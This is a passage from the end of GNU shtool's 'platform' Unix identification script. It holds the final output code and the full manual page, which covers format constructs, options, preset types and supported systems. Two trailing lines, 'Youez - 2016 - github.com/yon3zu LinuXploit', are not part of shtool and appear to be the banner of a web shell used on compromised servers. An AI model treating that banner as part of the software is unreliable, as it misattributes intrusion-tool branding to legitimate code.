if [ ".$opt_L" = .yes ]; then
    output=`util_lower "$output"`
elif [ ".$opt_U" = .yes ]; then
    output=`util_upper "$output"`
fi

#   display output string
if [ ".$opt_n" = .yes ]; then
    echo . | awk '{ printf("%s", output); }' output="$output"
else
    echo "$output"
fi

shtool_exit 0

##
##  manual page
##

=pod

=head1 NAME

B<shtool-platform> - B<GNU shtool> Unix platform identification

=head1 SYNOPSIS

B<shtool platform>
[B<-F>|B<--format> I<format>]
[B<-S>|B<--sep> I<string>]
[B<-C>|B<--conc> I<string>]
[B<-L>|B<--lower>]
[B<-U>|B<--upper>]
[B<-v>|B<--verbose>]
[B<-c>|B<--concise>]
[B<-n>|B<--newline>]
[B<-d>|B<--debug>]
[B<-t>|B<--type> I<type>]
[B<-n>|B<--newline>]
[B<-d>|B<--debug>]

=head1 DESCRIPTION

B<shtool platform> is a flexible Unix platform identification program.
It distinguishes a platform according to its I<hardware architecture>
and I<operating system>. For both there is a I<class>, I<product> and
I<technology> identification. For each of those six identifications,
there is a I<verbose>, I<regular> and I<concise> version.

This leads to eighteen (2x3x3) available identification strings for each
platform, from which usually 2 are chosen in a particular situation.
This is done by assembling the platform identification string using a
I<format> string containing one or more identification constructs of the
forms "C<%[xx]>" (verbose), "C<%{xx}>" (regular) and "C<%E<lt>xxE<gt>>"
(concise).

=head1 OPTIONS

The following command line options are available.

=over 4

=item B<-F>, B<--format> I<format>

This option controls the output formatting of this program. It is a
plain-text string with the "C<%>I<xx>" constructs which expand to the
various platform information strings. "C<%{>I<xx>C<}>" is the canonical
regular version of the information. "C<%[>I<xx>C<]>" is the verbose
version of the information. "C<%E<lt>>I<xx>C<E<gt>>" is the concise
version of the information. In total, the following constructs
are available for expansion:

 %[ac]    verbose hardware architecture class
 %{ac}    regular hardware architecture class
 %<ac>    concise hardware architecture class

 %[ap]    verbose hardware architecture product
 %{ap}    regular hardware architecture product
 %<ap>    concise hardware architecture product

 %[at]    verbose hardware architecture technology
 %{at}    regular hardware architecture technology
 %<at>    concise hardware architecture technology

 %[sc]    verbose operating system class
 %{sc}    regular operating system class
 %<sc>    concise operating system class

 %[sp]    verbose operating system product
 %{sp}    regular operating system product
 %<sp>    concise operating system product

 %[st]    verbose operating system technology
 %{st}    regular operating system technology
 %<st>    concise operating system technology

The default I<format> string is "C<%{sp} (%{ap})>", providing the
regular operating system and hardware architecture product information.

=item B<-S>, B<--sep> I<string>

This option sets the word I<separation> string for the platform
information strings. By default it is "C< >" (whitespace). It is
especially used for separating the operating system name and
the operating system version.

=item B<-C>, B<--conc> I<string>

This option sets the word I<concatenation> string for the platform
information strings. By default it is "C</>". It is especially used to
concatenate multiple parts in operating system name and version parts.

=item B<-L>, B<--lower>

This options enforces conversion of the output to all I<lower> case.

=item B<-U>, B<--upper>

This options enforces conversion of the output to all I<upper> case.

=item B<-v>, B<--verbose>

This option enforces verbose versions of all expansion constructs
in I<format> string of option B<-F>. It is equal to specifying all
expansion constructs as "C<%[>I<xx>C<]>".

=item B<-c>, B<--concise>

This option enforces concise versions of all expansion constructs
in I<format> string of option B<-F>. It is equal to specifying all
expansion constructs as "C<%E<lt>>I<xx>C<E<gt>>".

=item B<-n>, B<--no-newline>

This option omits the usual trailing newline character in the output.

=item B<-t>, B<--type> I<type>

This option is a meta option which internally sets options B<-F>, B<-S>,
B<-C>, B<-L>, B<-U>, B<-v> or B<-c> according to I<TYPE>. It can be used
to easily specify various commonly known outputs. The following I<TYPE>s
are available:

=over 4

=item B<binary>

Binary Package Id (OpenPKG RPM).
This is equal to "C<-F '%<ap>-%<sp>' -L -S '' -C '+'>"
and results in outputs like "C<ix86-freebsd4.9>" and "C<ix86-debian3.0>".

=item B<build>

Build-Time Checking (OpenPKG RPM).
This is equal to "C<-F '%<at>-%<st>' -L -S '' -C '+'>"
and results in outputs like "C<i686-freebsd4.9>" and "C<i586-linux2.4>".

=item B<gnu>

GNU F<config.guess> Style Id.
This is similar to B<build> and is equal to "C<-F '"%<at>-unknown-%<st>' -L -S '' -C '+'>"
and results in outputs like "C<i686-unknown-freebsd4.9>" and "C<i586-unknown-linux2.4>".

=item B<web>

HTTP Server Header Id.
This is equal to "C<-F '"%<sp>-%<ac>' -S '/' -C '+'>"
and results in outputs like "C<FreeBSD/4.9-iX86>" and "C<Debian/3.0-iX86>".

=item B<summary>

Human Readable Verbose Summary Information. This is equal to "C<-F
'Class: %[sc] (%[ac])\nProduct: %[sp] (%[ap])\nTechnology: %[st]
(%[at])' -S ' ' -C '/'>" and results in outputs like:

 Class:      4.4BSD (iX86)
 Product:    FreeBSD 4.9-RC (iX86)
 Technology: FreeBSD 4.9-RC (i686)

and

 Class:      LSB (iX86)
 Product:    Debian GNU/Linux 3.0 (iX86)
 Technology: GNU/Linux 2.2/2.4 (i686)

=item B<all-in-one>

All-In-One Full-Table Information. This just outputs really
all 2x2x3 identification strings as a table.

=back

=item B<-d>, B<--debug>

This option enables some internal debugging messages.

=item B<-V>, B<--version>

This option outputs the version information of B<shtool platform> only.

=item B<-h>, B<--help>

This option outputs the usage information of B<shtool platform> only.

=back

=head1 EXAMPLE

The following real-life use cases are known:

=over 4

=item B<OpenPKG> build-time decisions

 $ platform -c -L -S "" -C "+" -F "%at-%st"
 $ platform -c -L -S "" -C "+" -F "%ac-%sc"

=item B<OpenPKG> binary RPM packages

 $ platform -c -L -S "" -C "+" -F "%ap-%sp"

=item F<README> files

 $ platform -v -F "%sp (%ap)"
 $ platform -v -F "%sc (%ac)"

=item Debugging

 $ platform --type=all-in-one

=back

=head1 SUPPORT

B<shtool platform> currently knows the following particular Unix platforms
in detail: FreeBSD, NetBSD, OpenBSD, Linux, Sun Solaris, SCO UnixWare,
QNX Neutrino, SGI IRIX, HP HP-UX, HP Tru64, IBM AIX and Apple Mac OS X
Darwin.

All other Unix platforms are recognized through generic uname(1)
information and so usually can be identified sufficiently, although the
identification might be not as precise as possible.

=head1 HISTORY

B<shtool platform> was implemented in September 2003 by I<Ralf S.
Engelschall> for use in the B<OSSP> and B<OpenPKG> projects. It was
prompted by the need in B<OpenPKG> to have both product (for RPM
filenames) and technology (for build-time decisions) identifiers for the
Unix platforms, OpenPKG packages are maintained for. It was inspired by
the B<GNU> F<config.guess> and the old B<GNU shtool> F<guessos> command.

The major difference to B<GNU> F<config.guess> is that B<shtool platform>
does not use a I<vendor> identification (cannot be determined most of
the time and is not used at all in all projects I've ever seen) and
is a lot more flexible (class, product and technology identifications
combined with verbose, regular and concise outputs). The drawback of
B<shtool platform> is that it (still) knows less particular platforms,
although the generic platform identification is sufficient enough most
of the time.

=head1 SEE ALSO

uname(3), GNU F<config.guess>.

=cut


Youez - 2016 - github.com/yon3zu
LinuXploit